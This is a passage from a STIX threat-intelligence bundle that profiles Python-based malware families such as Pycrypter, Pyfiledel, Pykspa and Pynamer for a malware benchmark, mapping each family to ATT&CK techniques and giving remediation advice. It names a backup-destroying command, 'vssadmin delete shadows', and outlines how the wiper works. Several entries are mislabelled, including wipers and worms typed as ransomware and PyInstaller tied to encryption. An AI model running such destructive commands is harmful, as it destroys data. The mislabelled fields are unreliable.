      "name": "Pycrypter",
      "description": "<h3>Executive Summary</h3>\nPyCrypter is a classification for file-encrypting Ransomware written entirely in Python. While traditionally ransomware was written in C++ or Delphi for speed and low-level system access, the use of Python (often compiled into a standalone executable using tools like PyInstaller or py2exe) has become increasingly common. It allows for rapid development, easy cross-platform porting, and occasionally bypasses older AV engines that struggle to decompile packaged Python scripts.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nPyCrypter is typically distributed via targeted spear-phishing campaigns, malicious macros embedded in Office documents, or deployed directly by attackers who have compromised external-facing RDP servers.\n\nUpon execution, PyCrypter leverages Python's extensive standard library for its attack:\n<ul>\n<li><strong>Standalone Execution:</strong> The malware is usually packaged as a bulky `.exe` file. When run, it extracts a temporary Python interpreter and the malicious `.py` scripts into the `%Temp%` directory to execute.</li>\n<li><strong>Cryptographic Implementation:</strong> PyCrypter typically utilizes well-known Python cryptography libraries (like `cryptography` or `PyCryptodome`) to implement strong encryption (e.g., AES-256 for files, secured by an RSA public key). </li>\n<li><strong>Volume Shadow Copy Deletion:</strong> The Python script will utilize the `os.system` or `subprocess` modules to execute native Windows commands (like `vssadmin delete shadows`) to destroy local backups before encryption begins.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nDespite being written in a high-level scripting language, PyCrypter is highly destructive. It represents a critical tier-one security incident resulting in an immediate loss of data availability. The use of Python also makes the malware easily modifiable by different threat actors, leading to numerous distinct variants.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Severance:</strong> Isolate the infected endpoint (and any servers it can reach) from the network to halt the spread of the encryption across mapped drives.</li>\n<li><strong>Reverse Engineering Potential:</strong> Because it is written in Python, incident responders may occasionally be able to decompile the executable (using tools like `uncompyle6`) to recover the source code. In rare cases of poor cryptographic implementation, this might reveal a hardcoded key or a flaw allowing for decryption.</li>\n<li><strong>Restore from Offline Backups:</strong> Paying the ransom is strongly discouraged. Eradication requires a complete bare-metal wipe of the infected infrastructure and a full restoration from secure, offline backups.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom.PyCrypter",
        "Python.Ransomware",
        "Win32/Filecoder.Python"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pycrypter",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pycrypter"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5787bf34-19bf-54c1-accb-ad013c15a327",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--170a1947-3abb-5574-989f-9b28646ec9d3",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pycrypter exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f06e8990-236b-53c4-ba0c-042ba3b73fa1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--170a1947-3abb-5574-989f-9b28646ec9d3",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pycrypter exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--de6ff40c-5e8a-5294-ad7e-9bd2520f63eb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1059.006: Command and Scripting Interpreter: Python",
      "description": "MITRE ATT&CK Technique T1059.006 (Command and Scripting Interpreter: Python) under tactic Execution.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1059.006",
          "url": "https://attack.mitre.org/techniques/T1059/006/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fc6ae8c6-e6d7-5f7f-bd46-a1884c35d424",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--170a1947-3abb-5574-989f-9b28646ec9d3",
      "target_ref": "attack-pattern--de6ff40c-5e8a-5294-ad7e-9bd2520f63eb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pycrypter exhibits technique T1059.006 (Command and Scripting Interpreter: Python)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2b2b896b-2adb-5bbe-9c00-54ae8b99a3d1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pyfiledel",
      "description": "Trojan:Python/Pyfiledel is a highly destructive malware classified as a **Wiper**. Unlike ransomware, which encrypts files with the intention of extorting money for their return, a wiper is designed for pure sabotage. Its sole objective is to permanently delete or corrupt files, rendering the system completely unbootable or permanently destroying valuable intellectual property. The fact that it is written in Python indicates it is often deployed post-exploitation by attackers leveraging Living off the Land (LotL) techniques or pre-installed interpreters.<br><br><b>Understanding Pyfiledel (Wipers)</b><br>To an end-user, a Pyfiledel attack results in a totally destroyed system, often ending in a Blue Screen of Death (BSOD) or a 'Operating System not found' error upon reboot. For an enterprise, wipers are the most severe form of cyberattack, often associated with nation-state actors (like the NotPetya or Shamoon attacks) aiming to cause maximum operational disruption to critical infrastructure or to cover the tracks of a deeper espionage operation.<br><br><b>Execution and Destruction Mechanics</b><br>Pyfiledel is rarely a standalone executable; it is typically a Python script (`.py` or `.pyc`) deployed by an attacker who has already gained administrative access to the network (`T1059.006`). Upon execution, the script bypasses the standard Windows Recycle Bin. It utilizes Python's `os` and `shutil` modules to aggressively traverse the directory structure (`T1083`) and perform permanent deletions (`os.remove()`, `shutil.rmtree()`) (`T1485`). Advanced versions of Pyfiledel-like wipers may not just delete files, but actively overwrite the file contents with zeros or random data (file shredding) to thwart forensic data recovery tools (`T1485`). Furthermore, it may attempt to corrupt the Master Boot Record (MBR) or delete critical system files in `C:\\Windows\\System32` to guarantee the machine cannot be restarted (`T1561.002`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is catastrophic, irreversible data destruction. Host-based IoCs include EDR alerts for Python executing script files from temporary directories, massive and rapid file deletion events across the filesystem, and the sudden termination of critical system processes leading to system crashes. Because wipers destroy the very logs needed to investigate them, detecting the *initial* intrusion is paramount. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pyfiledel",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pyfiledel"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--07818afc-50a5-5586-9d8b-2745b47c37b9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2b2b896b-2adb-5bbe-9c00-54ae8b99a3d1",
      "target_ref": "attack-pattern--a1097f7e-2aee-5bd4-ba08-a98048ff4e08",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pyfiledel exhibits technique T1485 (Data Destruction (Permanently deleting/overwriting files))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--acf51262-614a-5023-8feb-d7b43299c82e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2b2b896b-2adb-5bbe-9c00-54ae8b99a3d1",
      "target_ref": "attack-pattern--8ca1d648-b445-58a0-a066-7e7dfa335e84",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pyfiledel exhibits technique T1561.002 (Disk Wipe: Disk Structure Wipe (Corrupting the MBR/Boot Sector))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dfc68ce2-f804-5168-a1d0-638919a0dc62",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2b2b896b-2adb-5bbe-9c00-54ae8b99a3d1",
      "target_ref": "attack-pattern--de6ff40c-5e8a-5294-ad7e-9bd2520f63eb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pyfiledel exhibits technique T1059.006 (Command and Scripting Interpreter: Python)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--de1ab0d0-2012-5b25-8121-bb12b8499b40",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2b2b896b-2adb-5bbe-9c00-54ae8b99a3d1",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pyfiledel exhibits technique T1083 (File and Directory Discovery (Scanning for files to delete))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d17adaa3-9b27-5d03-8965-1389d83342f1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pyinstaller",
      "description": "<h3>Executive Summary</h3>\nPyInstaller is not malware. It is a highly popular, legitimate, open-source utility used by developers to bundle Python scripts and their dependencies into standalone executable files (e.g., `.exe` for Windows). This allows Python applications to run on machines that do not have the Python interpreter installed. However, because it obfuscates the underlying script and bundles necessary DLLs, it is incredibly popular among malware authors, leading to frequent heuristic detections by security software.\n\n<h3>Infection Vector and Technical Capabilities (Contextual)</h3>\nWhen an antivirus engine flags a file as \"PyInstaller\" (often accompanied by terms like `Suspicious`, `Heur`, or `Generic`), it is typically a behavioral or heuristic flag rather than a specific malware signature. Threat actors use PyInstaller for several reasons:\n<ul>\n<li><strong>Rapid Malware Development:</strong> Python allows for the rapid development of info-stealers, ransomware, and RATs. PyInstaller provides the easiest method to package these scripts for deployment on victim Windows machines.</li>\n<li><strong>Evasion through Obfuscation:</strong> PyInstaller inherently packages the Python bytecode and a bootloader into the executable. This process obfuscates the original source code, making static analysis by traditional antivirus significantly more difficult.</li>\n<li><strong>Large File Size:</strong> PyInstaller executables are inherently large (often >5MB) because they include the entire Python environment. This large file size can sometimes bypass older antivirus engines configured to skip scanning large files to preserve system performance.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA detection naming \"PyInstaller\" requires careful triage. If the organization actively develops Python applications and uses PyInstaller internally, it may be a false positive. However, if found on a standard user's endpoint in a temporary directory (like `%APPDATA%`), it is highly likely to be a compiled Python-based info-stealer or trojan attempting to evade detection.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Reverse Engineering (Extraction):</strong> Incident responders can use tools like `pyinstxtractor` to unpack the compiled executable. This extracts the bundled `.pyc` (Python compiled bytecode) files.</li>\n<li><strong>Decompilation and Analysis:</strong> The extracted `.pyc` files can then be decompiled back into readable Python source code using tools like `uncompyle6` or `decompyle3`. This allows analysts to determine the exact nature and intent of the malware (e.g., identifying C2 servers or targeted data).</li>\n<li><strong>Behavioral Monitoring (EDR):</strong> Because the static file is obfuscated, eradication relies on EDR solutions that monitor the *behavior* of the process once it executes (e.g., attempting to read browser credential stores, encrypting files, or making unauthorized network connections).</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Suspicious.PyInstaller",
        "Trojan.Python",
        "Heur.PyInstaller"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pyinstaller",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pyinstaller"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cc87edd1-c7fa-5e7a-b70a-5f6baac168f8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d17adaa3-9b27-5d03-8965-1389d83342f1",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pyinstaller exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e7647cea-228a-53b0-a0b4-a8413292cb9c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d17adaa3-9b27-5d03-8965-1389d83342f1",
      "target_ref": "attack-pattern--de6ff40c-5e8a-5294-ad7e-9bd2520f63eb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pyinstaller exhibits technique T1059.006 (Command and Scripting Interpreter: Python)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2d21372e-e49c-5131-9bf0-655d7e245cc7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d17adaa3-9b27-5d03-8965-1389d83342f1",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pyinstaller exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4e576020-7d65-53ce-8c1c-36f06ede13f0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d17adaa3-9b27-5d03-8965-1389d83342f1",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pyinstaller exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dd837829-be66-5df2-9d3f-000934ce95fa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d17adaa3-9b27-5d03-8965-1389d83342f1",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pyinstaller exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--72c7f73c-2524-5cd5-a632-ef905eb4326f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pykspa",
      "description": "Pykspa (cataloged across threat intelligence as W32/Pykspa, Worm:Win32/Pykspa, and the Skype Worm Pykspa) is an information-stealing worm that first emerged in 2008, specifically designed to propagate across Skype peer networks. Pykspa hijacks active Skype sessions to send automated spam messages containing malicious download links to all user contacts. To maximize click-through rates, Pykspa checks the victim's Skype interface language and delivers localized social engineering lures. Once executed on a recipient's endpoint, Pykspa extracts personal information, steals cached credentials, and communicates with command-and-control servers using a high-velocity Domain Generation Algorithm (DGA). As extensively documented by Akamai Threat Research and Fraunhofer FKIE's Malpedia, Pykspa generates thousands of pseudorandom DNS requests daily, creating significant network noise and ensuring C2 survivability against domain seizures. (Observed samples in benchmark: 169)",
      "is_family": true,
      "malware_types": [
        "worm"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "W32/Pykspa",
        "Worm:Win32/Pykspa",
        "Skype Worm Pykspa",
        "W32.Pykspa",
        "Win32/Pykspa.Worm"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pykspa",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pykspa"
        }
      ],
      "labels": [
        "worm",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f9e2ffb8-76cf-5678-9acd-7f8f79526ce7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--72c7f73c-2524-5cd5-a632-ef905eb4326f",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pykspa exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1d248ab2-ea68-5360-9e6a-a85c70fa3629",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--72c7f73c-2524-5cd5-a632-ef905eb4326f",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pykspa exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--78bf306e-368a-5c08-a8e3-520fc077172e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--72c7f73c-2524-5cd5-a632-ef905eb4326f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pykspa exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8021b289-0bce-5f08-80ca-ba97aeb7805a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--72c7f73c-2524-5cd5-a632-ef905eb4326f",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pykspa exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--946917e8-0fd0-5c80-bb05-84b9089053ec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--72c7f73c-2524-5cd5-a632-ef905eb4326f",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pykspa exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--67350842-ccfc-5a9e-8e1d-d3773d37b601",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pyme",
      "description": "<h3>Executive Summary</h3>\nPyme is a malicious program that exhibits characteristics of both a Trojan and a Worm. It is designed to covertly infiltrate Windows systems, establish a persistent backdoor, and then aggressively attempt to propagate itself across local networks or via removable media, creating a disruptive and potentially widespread security incident.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nPyme often infiltrates networks initially through malicious email attachments or when a user connects an already infected USB drive to a corporate workstation.\n\nUpon execution, Pyme focuses on persistence and propagation:\n<ul>\n<li><strong>Worm-like Propagation:</strong> Pyme actively scans the local subnet for open, unauthenticated file shares (SMB) or exploits legacy vulnerabilities to copy its executable laterally. It will also aggressively infect any connected removable media (USB drives), hiding legitimate files and replacing them with malicious shortcuts to facilitate further spread.</li>\n<li><strong>System Modification and Persistence:</strong> To ensure it runs every time the system boots, Pyme modifies the Windows Registry (e.g., adding entries to `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run`). It may also disable built-in security features like Windows Defender or the Task Manager to protect itself from termination.</li>\n<li><strong>Backdoor Functionality:</strong> While spreading, Pyme often opens a covert backdoor, allowing remote attackers to issue commands, download secondary malware, or exfiltrate basic system data.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Pyme infection is highly disruptive. Its worm-like propagation capabilities can rapidly saturate a local network, causing significant downtime and overwhelming IT helpdesks. The backdoor functionality also presents a serious risk of data theft or the deployment of secondary, more destructive payloads like ransomware.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Segmentation:</strong> Isolate infected subnets immediately to halt the worm's lateral movement and prevent the infection of mapped network drives.</li>\n<li><strong>Comprehensive Antivirus Sweep:</strong> Deploy an enterprise-grade anti-malware solution across the affected subnets to identify, quarantine, and remove the Pyme executable and its associated registry keys.</li>\n<li><strong>Removable Media Policy Review:</strong> Pyme's reliance on USB propagation strongly suggests that the organization's policies regarding removable media are either lacking or unenforced. Consider disabling USB storage access via Group Policy to prevent future outbreaks.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Worm.Pyme",
        "Trojan.Pyme",
        "Win32/Pyme"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pyme",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pyme"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bdbf817f-0636-5a71-86a2-dd2d5b64aac0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--67350842-ccfc-5a9e-8e1d-d3773d37b601",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pyme exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--98fc02b1-016e-5aa7-bbaf-0ce83812a439",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--67350842-ccfc-5a9e-8e1d-d3773d37b601",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pyme exhibits technique T1091 (Replication Through Removable Media (The core propagation mechanism using autorun.inf))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--73989499-c652-5fe7-a258-a3dbc22bc57e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--67350842-ccfc-5a9e-8e1d-d3773d37b601",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pyme exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1e99377b-0d1d-5e21-bf3a-a312ad786d25",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--67350842-ccfc-5a9e-8e1d-d3773d37b601",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pyme exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3930b56e-d360-582b-bdb1-369269cf46b7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pynamer",
      "description": "Pynamer (cataloged across security vendors and threat intelligence databases under signatures including Trojan:Win32/Pynamer, Trojan.Pynamer, and Trojan:Win32/Pynamer!ac) is a versatile family of compiled Python trojans active since 2018. Packaged into standalone Windows Portable Executables using utilities like PyInstaller, cx_Freeze, or Py2exe, Pynamer encapsulates complete Python runtime environments and obfuscated bytecode to evade conventional static antivirus signatures. In the wild, Pynamer is distributed via malicious cracked software installers, game cheat tools, and malicious email attachments. Upon execution, the malware extracts its internal Python payload into %Temp%, establishes persistent autostart registry entries under Windows CurrentVersion\\Run, and initiates encrypted C2 communications. Pynamer acts as an initial access stager, capable of capturing keystrokes, harvesting browser credentials, downloading secondary malicious payloads, and providing interactive backdoor shells. (Observed samples in benchmark: 67)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Pynamer",
        "Trojan.Pynamer",
        "Trojan:Win32/Pynamer!ac",
        "Win32/Pynamer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pynamer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pynamer"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4d9cfb93-d65e-5276-bbbd-25360ae69c1f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3930b56e-d360-582b-bdb1-369269cf46b7",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pynamer exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d7e80681-6de0-5802-b08a-fbd00b9b4eab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3930b56e-d360-582b-bdb1-369269cf46b7",
      "target_ref": "attack-pattern--de6ff40c-5e8a-5294-ad7e-9bd2520f63eb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pynamer exhibits technique T1059.006 (Command and Scripting Interpreter: Python)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4d682a2c-2bc4-5e6f-aa59-1d115f7367f8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3930b56e-d360-582b-bdb1-369269cf46b7",
      "target_ref": "attack-pattern--cc77f11e-b255-5f7b-94cd-4cc31b548a03",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pynamer exhibits technique T1129 (Shared Modules)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b7129a09-8fdf-5067-bddd-42c6a9f645a4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3930b56e-d360-582b-bdb1-369269cf46b7",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pynamer exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--87f04279-702d-51de-b331-90b2800cebeb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3930b56e-d360-582b-bdb1-369269cf46b7",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pynamer exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--102e38ac-d2f4-53f8-9816-24304b0e23ea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pyspy",
